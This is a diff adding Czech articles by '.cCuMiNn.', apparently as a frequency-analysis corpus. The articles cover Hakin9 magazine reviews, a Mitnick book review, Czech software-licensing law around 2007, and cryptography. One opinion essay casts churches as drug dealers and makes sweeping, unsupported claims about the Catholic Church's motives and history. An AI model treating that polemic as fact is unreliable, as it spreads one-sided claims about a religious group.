a o tom, jak lze pomoci aplikaci tretich stran zajistit bezpecnost pri pristupu k databazovemu serveru Oracle. +Znepristupneni zdrojoveho programoveho kodu - patrite-li mezi programatory, kteri by radi ukryli sve zdrojove kody pred nenechavym pohledem verejnosti a tak zamezili nebo alespon ztizili dekompilaci vasich binarek, pak je tento clanek urcen prave vam. Autor clanku predstavuje ruzne aplikace, ktere lze nasadit pri zatemnovani kodu, nebo pro jeho komprimaci. +DNS inSECure - clanek venujici se zranitelnostem systemu DNS a jeho rozsireni DNSSEC, ktere lze pro zvyseni bezpecnosti pouzit. +Overovani a autorizace v ASP.NET 2.0 - clanek pojednavajici o nejpopularnejsim zpusobu overovani uzivatelu na portalech ASP.NET a ukazuje cesty jak prejit z manualniho na plne automatizovane formy overovani a autorizace uzivatelu. + +Na zaver ceka na ctenare jeste rozhovor s Janem Hlavacem, tiskovym mluvcim BSA pro Ceskou republiku, recenze knih Hacking bez zahad a Hacking - Buffer overflow a fejeton Libora Dostalka - Jak jsem prisel o GSMbanking. + +Ac v zaveru sve recenze na jednotliva cisla casopisu Hakin9 pravidelne jeho obsah chvalim a minule jsem se dokonce rozplyval nad tim, ze jeho kvalita neustale roste, dnes tomu bude jinak. Obsah tohoto cisla mi pripadal velice povrchni a prosty. Autori jednotlivych clanku nezabihali do detailu a texty tak ztraceji informacni bohatstvi, na ktere jsme v tomto casopise zvykli. Doufejme, ze jde jen o okurkovou sezonu a jiz v pristim cisle na nas bude opet cekat spousta zajimaveho cteni. + +Hakin9 - 3/2007 +Autor: .cCuMiNn. + +obalka casopisu + +Cekani na nove cislo casopisu Hakin9 mi tentokrat pripadalo jako nekonecne. Kveten je ale jiz tady a s nim i treti cislo casopisu Hakin9 v roce 2007. Hned po rychlem preletnuti obsahu bylo zrejme, ze se dlouhe cekani vyplatilo. Nejde totiz o cislo jen tak ledajake, ale o nadupane (pekne od zacatku az do konce) samymi informacnimi skvosty. Mou milou povinnosti jako vzdy je, vam tento zajimavy obsah trochu priblizit. + + +Obsah CD + +Jak uz je mym zvykem, zacnu obsahem CD. To obsahuje live distribuci linuxu s nazvem Hakin9 live, ktera je zalozena na Auroxu a mnozstvi uzitecnych utilit, tutorialu a textu. Za zminku stoji napriklad tutorial Metasploit - Exploiting framework a tyto programy: + +Ashampoo AntispyWare - program urceny pro Windows2000/XP, ktery ochrani vas pocitac pred vice nez 410.000 injekcemi. Jde o kompletni anti-malware aplikaci, ktera je schopna vyhledat a znicit nejenom viry, wormy, trojany, spyware, adware, ale i ruzne rootkity. + +Intelli HyperSpeed 2005 - i tento program je urcen pro pocitace s operacnim systemem Windows. Tato aplikace je pomaha rychlostne optimalizovat podle pozadavku na jejich vyuziti, pricemz vzdy nabizi krok zpet pro pripad, ze nam nebudou provedene upravy zcela vyhovovat. + +A-squared Anti-Malware - aplikace, ktera se snazi zaplnit mezeru v oblasti zabezpeceni osobniho pocitace pred skodlivym software. Program je jakymsi IDS, ktery bezi na pozadi a monitoruje vsechny spustene procesy, aby vyloucil pritomnost ruzneho malware. + +Comodo Personal Firewall - firewall dostupny zdarma pro domaci pouziti, ktery vam umozni ziskat plnou kontrolu nad vytizenim vasi site jednotlivymi programy. Plna konfigurovatelnost je u produktu podobneho typu samozrejmosti. + +NetConceal AntiHistory - program pro Windows, ktery velice jednoduchym zpusobem dokaze zahladit stopy o pritomnosti uzivatele u PC. Aplikace se postara o smazani seznamu navstivenych stranek, otevrenych souboru, apd. +Obsah tisteneho casopisu + +Pote, co jsme si predstavili obsah CD, se konecne dostavam k jadru teto recenze, kterym je obsah tisteneho casopisu Hakin9. + +Po par uvodnich stranach, ktere vas seznami s novinkami ze sveta bezpecnosti, nas jako prvni privita clanek Jacka Matulewskiho: Hacky ve Windows. Ten podrobne rozebira zachytavani zprav pod operacnim systemem Windows a naznacuje moznosti vyuziti. Dozvite se napriklad, jak hookovat klavesnici a jak si diky tomu muzete vytvorit svuj vlastni softwarovy keylogger. + +Nasleduje clanek Metasploit - Exploiting framework od Michala Merty, ktery vam priblizi novou treti verzi programu Metasploit Framework. Jde o znamy produkt, ktery je urcen pro tvorbu, ladeni a spravu exploitu. + +Ve clanku Neviditelne backdoory od Michala Styse se dozvite, jak ukryt svuj backdoor tak, aby nebyl odhalen spravcem systemu. Pomoci rozvinutych technik jej skryjete i pred vsekontrolujicim firewallem. + +Obrana databaze Oracle za pomoci pokrocilych bezpecnostnich opatreni je nazev dalsiho clanku. Jak jiz samotny nazev napovida, pujde v nem o databazi Oracle a jeji obranu. Autor clanku Mikolas Pansky v nem pojednava o autentizaci, autorizaci a bezpecnostnich konceptech databaze. Uvadi problematiku pouziti Oracle Advanced Security a mnoho dalsiho. + +Ve stejny den, kdy se ukazala prvni verejna verze weboveho prohlizece Internet Explorer 7, se rozpoutala diskuze na tema jeho bezpecnosti. IE7 obsahuje mnoho novych fukci, ktere maji uzivateli zajistit nekolikanasobne vetsi bezpeci nez tomu bylo u predchozi verze. Ktere funkce to jsou, vam priblizi Artur Zarski ve svem clanku Bezpecnost Internet Exploreru 7. + +Bezpecnost kont PHP je znacne obsahly clanek o zranitelnostech v PHP, na ktere spravci systemu velmi casto zapominaji. Autor Pawel Maziarz vam za pomoci nazornych prikladu ukaze moznosti zneuziti nekolika ruznych funkci php, ktere mohou vest k plnemu ovladnuti ciziho php konta. + +Text Zabezpeceni WWW sluzeb ve Windows Loghorn Server vam predstavi nejnovejsi verzi operacniho systemu Windows Server, ktera je aktualne vedena pod nazvem Loghorn. Na trhu by se mel tento system objevit v listopadu tohoto roku, ale vy se na nej muzete spolecne s autorem clanku podivat jiz nyni. + +Co mit na pameti pri vytvareni vlastni webove sluzby a jak se vyhnout nejbeznejsim bezpecnostnim problemum, se doctete ve clanku Web Services Security. + +Zajima vas, jak zajistit sifrovani jiz na urovni aplikaci a ne az pri sitovem prenosu? Pokud ano, pak je prave vam urcen clanek Pawla Maziarze o Sifrovani v aplikacich - knihovna Openssl. + +Francesco Arruzzoli vam ve clanku Steganografie - umeni okultniho pisma predstavi steganografii tak, jak ji mozna jeste neznate. Pokud vas nekdy zajimalo, jak lze ukryt informace do obrazku, zvuku, videa nebo filesystemu, nemel by vam tento clanek uniknout. + +Kvetnove cislo uzavira fejeton Libora Dostalka, prekladatele knihy Hacking bez tajemstvi, v nemz se zaobira otazkou zajmu o hacking a co si lide pod timto pojmem predstavuji. + +Sami vidite, ze je toto cislo opravdu plne zajimavosti. Osobne bych rekl, ze se mnozstvi a uroven clanku stale zlepsuje, protoze to ale muze byt pouze muj subjektivni nazor, necham posouzeni na kazdem z vas... + +Umeni klamu +Autor: .cCuMiNn. + +Kevin Mitnick +Kazdy zije svuj vlastni zivot. Nekdo venuje svuj volny cas sportu, jiny zabave. Nekdo pojida chipsy, jiny cokoladu. Jedno vsak mame spolecne. Vsichni vytvarime odpad, kterym chte nechte plnime odpadkove kose ve svych domacnostech. Protoze vsak nadoby na odpadky nejsou bezedne, nezbyva nam, nez je jednou za cas vynest do kontejneru, odkud je pracovnici technickych sluzeb odvezou do spalovny. Urcite se vam take nekdy stalo, ze jste se u kontejneru na komunalni odpad potkali s clovekem, ktery se s hulkou v ruce pohrabava obsahem kontejneru a hleda neco zajimaveho. Bydlite-li blizko budov, v nich jsou kancelare a obchodni sidla firem, mohlo by se vam stat, ze byste krome ruznych postav bez domova potkali v techto spinavych a pachnoucich mistech i jej. + +Jeho stredne vysoka, stihla postava by se hrbila v zari mesice nad hromadkou pomackanych papiru. Delsi kastanove vlasy by zakryvaly vyhled jeho velkym, tmave hnedym ocim, ktere by se s dychtivosti snazily nalezt mezi bezcennymi odpadky nejakou stopu. Videli byste, jak se zajmem sklada mozaiky z roztrhanych archu a jak jeho hbite ruce zalovi sem tam v kapsach dlouheho tmaveho kabatu s kapuci, aby neco zapsaly do poznamkoveho blocku, ktery se v nem skryva. + +Narazit na nej v techto mistech, urcite byste se lekli. Kdybyste ho vsak chvili pozorovali, pripadal by vam smesny. "Mladik", rekli byste si. Vypada tak na 20let a nebyt tak spinavy, jiste by to byl hoch k pokukani. Co tu dela? Nema snad domov? Ale ano, ma. Dokonce jen par bloku odtud. Je to Kevin Mitnick, ktery sem prisel, stejne jako kazdy den v tomto tydnu, na lov informaci. Rika tomu trashing. Je to jedna z veci, ktera patri mezi jeho konicky. Hleda zde na dokumentech vyhozenych z kancelari jakekoliv duverne informace, ktere neprosly skartovackou. Divili byste se, na jake informace zde nejednou narazi. Seznamy se jmeny zamestnancu, telefonni cisla a funkce osob. Obcas dokonce nejake to rodne cislo, ci cislo zdravotniho pojisteni. Asi vas napadne otazka: "Proc? Proc to dela? Co z toho ma?" + +Kevin je sociotechnik. Mezi jeho konicky patri vypocetni technika a jednani s lidmi. Vyziva se v dlouhych telefonnich hovorech, v nichz se vydava za nekoho jineho. Nekoho, jehoz jmeno objevil napsane na formularich mezi odpadky. Snazi se tak z cloveka na druhem konci dratu vylakat dalsi duverne informace, ktere by mu pomohli v jeho ceste k cili. Neni tak pro nej problem vylakat z lidi pristupova hesla do pocitacove site nebo dokonce cisla kreditnich karet jakekoliv osoby na kterou jen pomysli. Nekdy si dokonce oblekne krasny drahy oblek, uvaze si kravatu a s kufrikem v ruce vyrazi primo do vytypovane firmy. Na vratnici predlozi falesny prukaz, ktery si predem vytvoril. Jakmile se jednou ocitne v budove firmy, nic jiz pred nim neudrzi informace v bezpeci. Z kufriku vytahne notebook a pripoji jej do zasuvky s ethernetem. Stahne si soubor s hesly a nahraje na server program, ktery mu pozdeji umozni pripojit se do pocitacove site firmy zvenci. S peknym rozloucenim pak opusti budovu. + +Kevin je velice charismaticky, inteligentni a vzdelany clovek, ktery presne vi, co chce. Jeho talent v jednani s lidmi by mu mohl zavidet kazdy psycholog. Vzdyt se mu vzdy podari dostat lidi presne tam, kde je chce mit, pricemz nikdy neztraci hlavu. Kazdou akci si dopredu bezchybne naplanuje a bez mrknuti oka i chladne provede. Miluje tu atmosferu, ktera mu vhani adrenalin do zil. Je v tom proste dobry. Nekteri dokonce tvrdi, ze je nejvetsi hacker vsech dob. + +O knize +Pokud vas zaujali predchozi odstavce, pak byste si urcite nemeli nechat ujit knihu Umeni klamu, ve ktere sve skutky popsal sam Kevin Mitnick. Kniha je jakousi ucebnici socialniho inzenyrstvi. Je plna praktickych prikladu, na nichz autor ukazuje slabiny lidi a jejich zranitelnosti. Na druhou stranu nam touto knihou dava do ruky klic k porozumeni sociologum a jimi pouzivanym praktikam. Naucite se zakladni principy odhaleni podvodu tak, abyste byli schopni jej rozeznat a ubranit se mu. + +Mekkou nebo tvrdou drogu? + +Toto zari bylo pro meho syna jednim z mezniku v jeho zivote. Nastupoval totiz povinnou skolni dochazku a ja pochopitelne absolvoval jeho prvni skolni den s nim. Po krasne reci, kterou tridni ucitelka vitala ve sve tride prvnacky, se otevrely dvere a do tridy vesel pan obleceny do habitu s kolarkem kolem krku. Pritomne deti taktez privital, lec rec zrucne balil do perinek slozenych ze slov laska, buh a odpusteni. Doporucil prvnackum hodiny krestanske vychovy, a otevrene dvere domu pane. Dale nabidl svou malickost, ktera na ne v tento vyjimecny den pocka prede dvermi ucebny, kde bude ocekavat jejich dotazy a prihlasky. + +Nemohl jsem se ubranit pocitu, ze prede mnou stoji drogovy diler, ktery chce meho syna udelat zavislym na „droze“ se jmenem nabozenstvi. Tato „droga“ jiz dokazala zlomit nejednoho dospeleho a zivot tohoto maleho clovicka by v budoucnu mohla naprosto rozdrtit. Kdyz jsme pak opousteli tridu, pan kazatel stal ihned vedle dveri. Stejne jako ruzne existence, o nichz slychavame, ze chteji nevinne deti po odchodu ze skoly nalakat s nekalym umyslem. Sveho syna jsem radeji vedl tak, abych mu zakryval vyhled na tohoto cloveka. + +Myslim si, ze je na case, abych si se synem promluvil a podobne jako varuje vetsina rodicu sve deti pred nasledky uzivani drog, mu vysvetlil, co by se mohlo stat, pokud by se nechal podobnym clovekem zlakat. + +Co bych mu rekl? Proc si myslim, ze je nabozenstvi tak nebezpecne? V podstate nejde ani tak o nabozenstvi, jako spise o samotnou cirkev, ktera ve jmenu nabozenstvi vystupuje. Od dob kdy na Zemi prisel Kristus, aby vsem lidem ukazal, ze je mozne prozit zivot bez hrichu, se mnohe zmenilo. Kristus sam byl chudym clovekem. Trapil ho hlad a casto nemel ani kam hlavu slozit. Na rozdil od nej je katolicka cirkev nejbohatsi a nejvlivnejsi mocnosti sveta. Jak se to stalo? Kde cirkev ke vsemu tomuto majetku prisla? Vse zacalo uz ve stredoveku. V dobe, kdy se propletly koreny cirkve se zajmy statu a krestane jiz nemuseli svou viru tajit. Pod zastitou viry ziskali v dobe inkvizice nevidanou moc a nashromazdili znacny majetek. Skutecnost, ze se knezi nesmi zenit, aby mohli vsechny sve myslenky venovat bohu, svadi po zamysleni k dojmu, ze pravda lezi nekde jinde. Vstoupi-li do cirkve novy knez, je skrytym cilem cirkve jej pripravit o majetek. Pokud tento knez zemre, neni nikdo, kdo by po nem mohl dedit. Svuj majetek uz ale cirkvi stejne davno takto zfanatizovany clovek odkazal. Kdyby vsak ne a mel tento knez zenu a deti, ktere by po nem dedily, nemohla by tak cirkev prichazet k novym statkum a teoreticky by tak mohl cirkevni majetek dokonce mizet v nenavratnu. Katolicka cirkev dnes jiz nastesti neni jedinou krestanskou cirkvi. Objevilo se spousty lidi, kteri ac byly verici, zacali poukazovat na nespravny vyklad Bible a prekrucovani zcela jasnych faktu. Vezmeme-li napriklad desatero, nedodrzuje katolicka cirkev snad ani polovinu jednotlivych prikazani. Jednim z prikazani je zakaz zpodobnovat boha. V kazdem kostele vsak najdeme Krista na krizi a vyobrazeni nespocetneho mnozstvi svatych. Neznam zadneho z vericich, ktery by obcas nerekl slova jako „Kriste pane“ nebo „pane Boze“, cimz porusuji druhe z prikazani. Uctivani boha sedmy den, bylo cirkvi take davno prekrouceno, kdyz se sedmym dnem stala nedele namisto soboty. O prikazanich: „Nezabijes“, „Nepokrades“, a dalsich., nema po inkvizici snad ani cenu hovorit. V cele historii nezemrelo nikdy vice lidi nez ve jmenu viry. Kvuli vire vzplanula vetsina valek a potycek mezi lidmi. Lide, kteri poukazovali na spatny vyklad Bible, proto zalozili cirkve nove. Patri mezi ne Svedci Jehovovi, Adventisti sedmeho dne, Husitsko bratrska cirkev a mnoho dalsich. Vetsina techto cirkvi jde vsak dnes za moci a majetkem stejne, jako to drive delala cirkev katolicka. V dnesnim demokratickem svete to vsak jiz nema tak jednoduche. Musi se uchylovat k humanejsim zpusobum a sve obeti tak vytvari z dobrovolniku, ktere do cirkve vstoupi. Samotnych dobrovolniku by ovsem bylo malo a casto tak u nasich dveri zazvoni pekne obleceny par mladych lidi, kteri se snazi nalakat nas do sparu prave te jeho viry. Pokud clovek podlehne, necha se zviklat a vstoupi, zacne jej cirkev pretvaret k obrazu svemu. Styl, ktery cirkve pro vychovu jedince voli, bych prirovnal k „vymyvani mozku“. „Spravne vychovany“ clovek pak pravidelne odvadi desatky, stara se o lov novych dusi a casto v dobre vire prenecha teto cirkvi i cely svuj majetek. Jedinec, ktery chce z cirkve vystoupit, to ovsem nema tak jednoduche. Je svymi druhy premlouvan a presvedcovan. Je na nej kladen psychicky natlak a dobrovolny odchod mu nebyva umoznen. + +Pokud jde o beznou cirkev, nezbyva mi, nez ji prirovnat k mekkym drogam. Ma-li clovek silnou vuli, muze casto svuj dosavadni postoj zmenit i navzdory prekazkam, ktere mu neduhy teto zavislosti staveji do cesty. Po boku cirkvi vsak jdou jeste sekty. Jedna se v podstate o totez. Rozdil je jen ten, ze jejich vira se ubira jinym smerem. Maji sve vlastni metody a clovek, ktery je jejich chapadly pohlcen, v nich casto najde i svou smrt. Zfanatizovani lide zavisli na teto tvrde droze casto nemaji moznost uniku. + +Nezbyva mi, nez se zamyslet nad tim, kam jsme to dopracovali. Drogovy dileri dnes mohou beztrestne nabizet sve zbozi prvnackum pred zraky rodicu i vyucujicich a svuj rozhovor se synem bych ukoncit slovy: „Chces-li byt vericim, klidne jim bud. Nevidim ale duvod, proc se nechat ovlivnovat nekym druhym. Muzes se treba rozhodnout studovat nabozenstvi. Knih na toto tema je vsude dostatek a nabozenstvi samo o sobe z tebe muze dokonce udelat lepsiho cloveka. Proc vsak zacit uzivat drogy, ktere te zaslepi a ohlusi? Drogy, ktere ti budou naseptavat jen tu svou pravdu. Pravdu, nad kterou kdyz se zamyslis, zustane ti rozum stat. Tak co? Rozumis mi?“ + + + + + +Legalita software a softwarovy audit (1) +Autor: .cCuMiNn. + +Ackoliv nemam serialy prilis v lasce, protoze si jen zridka udrzim chut k jejich dopsani az do zaverecneho dilu, je tema legality softwaru a softwaroveho auditu natolik obsahle, ze se rozdeleni clanku do nekolika dilu stalo nezbytnosti. Slibuji, ze se tentokrat pokusim dotahnout serial az do konce. +Autorsky zakon a licencni smlouvy + +Abychom spravne pochopili vse okolo legality softwaru, zacneme pekne od zacatku, to je od nasich zakonu. O zakonu, ktery vse zastresuje jste jiz urcite slyseli. Jedna se o autorsky zakon, ktery autorum dila a uzvatelum prisuzuje jista prava a povinnosti. Autorsky zakon je napsan velmi vseobecne, aby podchytil co nejvetsi okruh autorskych del. Z tohoto duvodu se muze zdat, ze je tento zakon ponekud povrchni. Co se primo softwaru tyce, najdeme v tomto zakone jen par paragrafu, ktere se mu primo venuji. Naopak velmi casto v nem muzeme narazit na slova "neni-li uvedeno jinak". Jak si mame tato slova vykladat a kde najdeme to zminovane "uvedeno jinak"? Tato slova vyjadruji vlaste licencni smlouvu, kterou uzavira uzivatel software s jeho autorem. Licencni ujednani musi byt uzivateli pristupne jeste drive, nez dojde k nainstalovani softwaru a jeho autor si muze do teto smlouvy vlozit cokoliv. Licencni smlouva, jako jedna z mala, nemusi byt opatrena podpisem smluvnich stran a pokud pri instalaci softwaru tuto smlouvu prijmete, jste timto licencnim ujednanim vazani. Je dokonce jedno, v jakem jazyce je licencni smlouva sepsana. Pokud danemu jazyku (muze jim byt napriklad cinstina) nerozumite, je na vas, abyste si zajistili jeji preklad. + +Z pohledu autorskeho zakona jsou pocitacove programy chapany jako literarni dilo a jejich koupi si kupujeme pouze nosic a manual. Predmetem koupe jsou pouze hmotne veci a samozrejme pravo uzivat software za podminek stanovenych licencni smlouvou. + +Kdyz uz jsem zminil, ze autor muze v licencnim ujednani uvest opravdu cokoliv, musim se zminit i o tom, ze nektere z techto bodu mohou napriklad zasahovat do minima opravneni, odporovat autorskemu zakonu, nebo jinym zakonum Ceske republiky, i kdyz v jine zemi zakonum odporovat nemusi. V takovem pripade je licencni smlouva neplatna pouze v tomto bode. V ostatnich bodech pak zustava platna. U nekterych typu licencnich smluv mohou ale nastat i takove pripady, kdy dojde ke zneplatnenismlouvy cele. + +Licencnim smlouvam se podrobneji venuje napriklad 6.dil autorskeho zakona, konkretne §46-§57. Licencni smlouvy mivaji ruzna zneni a casto byvaji sepsany dosti obsahle a nesrozumintelne. Presto vyrazne doporucuji jejich precteni pred odsouhlasenim. Ve smlouve najdeme napriklad informace, za jakych podminek muzeme dany software pouzivat. Zda jde o komercni software, o shareware, freeware nebo freeware pro nekomercni pouziti. Pozor si dejte na pripady, kdy je znam autor software, ale u samotneho programu neni uvedena zadna licencni smlouva. Autorsky zakon v §46/1 totiz prisuzuje autoru dila pravo na odmenu a i kdyz uklada povinnost informaci o odmene v licencni smlouve uvadet, muze dojit k pripadu podle §49/2a. Pokud vas bude autor za pouziti dila zalovat nebo pokud bude osloven policii po pripadnem zasahu, aby vycislil svou skodu, muze dojit k tomu, ze po vas bude pozadovat za pouziti sveho dila odmenu. Pokud se jedna o freeware pro nekomercni pouziti, pak takovy software nesmi byt bez splneni licencnich podminek pouzivan na firemnich pocitacich a to ani v pripade, kdy si jej zamestnanec nainstaloval pro sve soukrome pouziti. Jednou se jedna o firemni pocitac a jako takovy je bran. Vyjimky neexistuji. + +Zatim jsem se jeste zapomnel zminit o tom, komu autorska prava nalezi. Autorska prava nalezi autoru dila (tj. konkretni fyzicke osobe) a ten se techto prav podle §11/4 nemuze nijak vzdat. Jednim z techto prav je napriklad to, ze ma autor dila pravo na to, aby bylo dilo oznaceno jeho jmenem. To plati i v pripade, kdy dilo vyvyji napriklad v zamestnaneckem pomeru pro firmu, nebo zak pri praci na skolnim dile. Pravo uvedeni jmena autora proste plati ve vsech pripadech. Pokud autor skutecne nestoji o publicitu a s autorstvim dila nechce mit nic spolecneho, muze udelat pouze to, ze dilo uverejni anonymne bez uvedeni sveho jmena. Pokud vas zajimaji podrobnosti o vytvareni del ve skolach nebo v zamestnaneckem pomeru, pak vas take odkazi na autorsky zakon, ve kterem na sve otazky naleznete odpoved. +Vyjimka pro osobni pouziti + +Kdyz uz se bavime o autorskem zakone, je dulezite zminit take §30, ktery umoznuje vytvoreni rozmnozeniny a uziti del s vyjimkou pocitacovych programu a databazi, pro osobni uziti. Z tohoto paragrafu proto vyplyva, ze muzete vlastnit a mit na nosicich nebo v pocitaci ulozeno nepreberne mnozstvi hudebnich nahravek, filmu, knih v elektronicke podobe, fotek a cehokoliv dalsiho, pokud se nebude jednat o programy nebo databaze. Nekomu by mohlo pripadat divne, ze vam nekdo dava neco zadarmo. Nenechte se vsak plest. Autori del maji podle §25 narok na odmenu za uziti dila pro osobni potrebu a tuto odmenu ziskavaji z prodeje pristroju pro tvorbu rozmnozenin a z prodeje prazdnych nosicu. +BSA +O teto organizaci jste jiz urcite take slyseli. V mnoha lidech vyvolava nazev teto organizace dojem, ze jde o jakousi softwarovou polici, ktera k vam muze kdykoliv vtrhnout do domu nebo do firmy a provest kontrolu legality softwaru na vasich pocitacich. Skutecnost je vsak jina. Jde o organizaci, ktera byla zalozena softwarovymi firmami, aby je zastupovala v soudnich rizenich pri pouzivani jejich nelegalniho softwaru. Pro zminene firmy je totiz daleko jednoduzsi pokud se s pachateli soudi spolecne, nez kdyby se kazda ze spolecnosti musela soudit sama. Ve vetsine zemi funguje tato spolecnost pouze jako pravni kancelar. U nas se jedna o advokatni kancelar Vobornik - Nigrini, ktera se specializuje na autorske pravo a na internetu ji najdeme na strance www.bsa.cz. BSA navic plni funkci osvety a prevence, kdy upozornuje predevsim firmy na rizika spojena s pouzivanim nelegalniho softwaru. Tou nejznamejsi funkci, kterou BSA zastava vsak zustava podavani trestnich oznameni pri podezreni z pouzivani nelegalniho software a neprilis oblibeny prijem anonymnich udani. Na sdruzeni BSA se totiz muze obratit kdokoliv, kdo ma podezreni nebo dukazy, ze k pouzivani nelegalniho software dochazi. Casto jsou timto zpusobem reseny konkurencni boje mezi spolecnostmi, prevazne z rad projektantu a architektu, kteri ke sve praci potrebuji ne zrovna levny software a proto casto pouzivaji jeho nelegalni kopie. Na tomto miste jeste zminim cesty, kterymi se autor muze domahat svych prav. Pokud se chce autor dila soudit se softwarovym piratem, muze jit budto do civilniho sporu, kde musi zajistit veskere dukazy a vynalozit spousty financnich prostredku, nebo muze podat trestni oznameni a s obvinenym se potom na sve naklady soudi stat. Je zrejme, ze trestni rizeni je pro poskozene autory daleko vyhodnejsi a proto se ve vetsine pripadu uchyluji prave k nemu. V trestnim zakoniku existuji totiz §150 a §151, ktere pokladaji porusovani autorsych prav za trestny cin. + +Kdyz uz dojde k policejnimu zasahu + +K policejnimu zasahu dochazi ve chvili, kdy je podano trestni oznameni. To muze podat kdokoliv, ale nejcasteji jej podava prave BSA po obdrzenem udani nebo pri podezreni na trestou cinnost. Ve vetsine pripadu se jedna o zasah kontrolujici legalnost softwaru ve firmach. Na domaci uzivatele dochazi jen zridka. Kdyz uz je zahajeno rizeni s domacim uzivatelem, jedna se hlavne o softwarove piraty, kteri svuj nelegalni bussiness rozjeli ve velkem. Zasahovat muze pouze policie CR a to pouze pokud je vybavena soudnim povolenim. Zasah nemuze provadet mestka policie, ci jine organy. K provedeni policeni kontroly je potreba tolika policistu, kolik je ve firme pocitacu. Kazdy policista okamzite odpoji pocitac od site (az na vyjimky si to nespletou s elektrorozvodnou siti :) a zacne pomoci specializovaneho programu schromazdovat informace o tom, jaky software je na pocitaci nainstalovan. V urcitych pripadech, kdy neni mozna kontrola na miste, muze byt pocitac odvezen do kriminalistickeho ustavu. Z vyse uvedeneho duvodu se nemusi prilis bat policejniho zasahu velke firmy, ve kterych se nachazi stovky pocitacu. Nejsnadnejsim tercem se stavaji firmy o cca dvaceti pocitacich. Policie ma na zaklade soudniho povoleni moznost kontroly pouze tech pocitacu, ktere jsou ve vlastnictvi kontrolovaneho subjektu. Pokud tedy mate napriklad ve firme svuj osobni pocitac, nemuze policie pristoupit i k jeho kontrole. Kontrola se dale netyka obsahu datovych nosicu. Budete-li mit vedle pocitacu polozena zaznamova media, pak na nich muzete mit, co chcete a tyto se nestanou obsahem probihajici kontroly. Ta se zameruje vzdy jen na nainstalovany software. Jakmile policie skonci se soupisem nainstalovaneho softwaru, je nalez predan soudnimu znalci k vyhodnoceni. Na majiteli pocitacu nasledne je, aby dolozil legalitu zjisteneho softwaru. Pokud se v pocitacich najde nainstalovany software, u ktereho nemuze majitel pocitace dolozit jeho legalni nabyti, vyziva policie autory softwaru, aby si vycislili vzniklou skodu. V tuto chvili je posledni sance na mimosoudni vyrovnani, ktere je v kazdem pripade pro pachatele vyhodnejsi, nez dlouhotrvajici soudni spor. V blizke budoucnosti budou moci legalitu softwaru ve firmach kontrolovat i financni urady, pricemz v soucasne dobe probihaji prvni skoleni techto uredniku. +Jake jsou tresty + +Pri prokazanem pouziti nelegalniho softwaru je pachtel povinnen uhradit krome nahrady skody take vydani bezduvodneho obohaceni autoru dila ve vysi dvojnasobku obvykle odmeny za uziti dila. Navic by bylo mylne se domnivat, ze nahradou skody a vydanim bezduvodneho obohaceni, si pachatel software zlegalizuje. Pokud chce dany software pouzivat, musi si jej nasledne jeste koupit. Celkem v takovem pripade zaplati pachatel mimo nahradu skody software trikrat. Krome peneziteho trestu stanovuje trestni zakon tresty i v podobe propadnuti veci nebo odneti svobody. Tento paragraf si proto dovolim citovat nize. Jen jeste uvedu, ze znacnym prospechem v odstavci 2 je mysleno obohaceni, nebo-li pouziti nelegalniho software v hodnote presahujici 500.000Kc. + +§ 152 Porusovani autorskeho prava, prav souvisejicich s pravem autorskym a prav k databazi +(1) Kdo neopravnene zasahne do zakonem chranenych prav k autorskemu dilu, umeleckemu vykonu, zvukovemu ci zvukove obrazovemu zaznamu, rozhlasovemu nebo televiznimu vysilani nebo databazi, bude potrestan odnetim svobody az na dve leta nebo penezitym trestem nebo propadnutim veci. +(2) Odnetim svobody na sest mesicu az pet let nebo penezitym trestem nebo propadnutim veci bude pachatel potrestan, +a) ziska-li cinem uvedenym v odstavci 1 znacny prospech, nebo +b) dopusti-li se takoveho cinu ve znacnem rozsahu. + +Priste si probereme, cim pro nas muze byt softwarovy audit prospesny a cim dokladovat legalitu softwaru. \ No newline at end of file diff --git a/php/frekvencni_analyza/czech.txt b/php/frekvencni_analyza/czech.txt new file mode 100644 index 0000000..a338e94 --- /dev/null +++ b/php/frekvencni_analyza/czech.txt @@ -0,0 +1,219 @@ +O sifre DN a hashovaci funkci HDN +Autor: .cCuMiNn. + +Rekne-li se jmeno Vlastimil Klima, jiste si kazdy z vas vybavi jeho nositele, predniho ceskeho kryptologa, ktery je znam jak u nas, tak i v zahranici diky sve jedinecne praci, kterou v oblasti kryptologie odvadi. Je autorem skoro dvou stovek odbornych clanku a mnoha prednasek. Podili se na vyvoji spickovych sifrovacich technologii a mezi jeho prace lze pocitat projekty pro NBU, prvni cesky sifrovaci chip, prvni on-line sifrovani ve Windows a nekolik sifrovacich algoritmu. Do povedomi siroke verejnosti se zapsal predevsim algoritmem nejrychlejsiho nalezeni kolizi u hashovaci funkce MD5 z lonskeho roku. + +V poslednich dnech se vsak nejvice mluvi o specialni blokove sifre DN a hashovaci funkci HDN, ktere jsou diky zcela novemu pojeti meznikem v oblasti kryptologie. Vlastimil Klima stravil nad projektem dlouhe dva roky, jejichz vysledkem je popis slabin soucasnych sifrovacich algoritmu a novy, mnohem bezpecnejsi koncept, ktery je tak prevratny, ze jej NBU uvolnil ke zverejneni a oponenture. + +Vysledek sve prace publikoval Vlastimil Klima na svem webu a v e-zinu Crypto-world, ktery je registrovanym odberatelum dostupny ke stazeni na strance http://crypto-world.info. Volne dostupny bude ovsem az za tri tydny a tak redakce e-zinu Crypto-world souhlasila s uverejnenim tohoto clanku na nasem portale. Vy se tak muzete zacist do techto nadcasovych informaci, ktere se s nejvetsi pravdepodobnosti zapisi tucnym pismem do dejin kryptologie. + +Prace Vlastimila Klimy vcetne uvodu Tomase Rosy o specialni blokove sifre DN a hashovaci funkci HDN ke stazeni: Rodina specialnich blokovych sifer DN a hasovacich funkci nove generace HDN typu SNMAC +Ptejte se Vlastimila Klimy + +Az do konce brezna mate navic moznost polozit Vlastimilu Klimovi svuj doplnujici dotaz prostrednictvim nize umisteneho formulare. Abych trochu uklidnil ty z vas, kteri by meli pred timto velikanem ostych, neodpustim si citaci pana Klimy, ktery mi ve svem e-mailu napsal tato slova: + +„Otazky od ctenaru, vsechny, dokonce i ty zcela zdanlive nejhloupejsi otazky (maji blize ke genialite nebo necemu prevratnemu nez ty prumerne chytre), jsou pro me zpestrenim, duvodem k zamysleni a motivaci.“ + +(Tato moznost jiz koncem brezna skoncila. Odpovedi na sve dotazy naleznete v tomto clanku.) + +Sifry a kody moderni doby 4.dil +Autor: .cCuMiNn. + +Steganografie + +Jakmile si lide zacali uvedomovat cenu nekterych informaci, zacali premyslet, jak tyto informace ukryt pred zraky tech, jimz tato informace neni urcena. Mnohdy totiz stalo az prilis penez, ci lidskych zivotu, pokud se informace ocitla v nespravnych rukou. +Skryti :) +Steganografie +(z reckych slov steganos-skryte, graphein-pismo) + +Vedni obor, ktery se zabyva 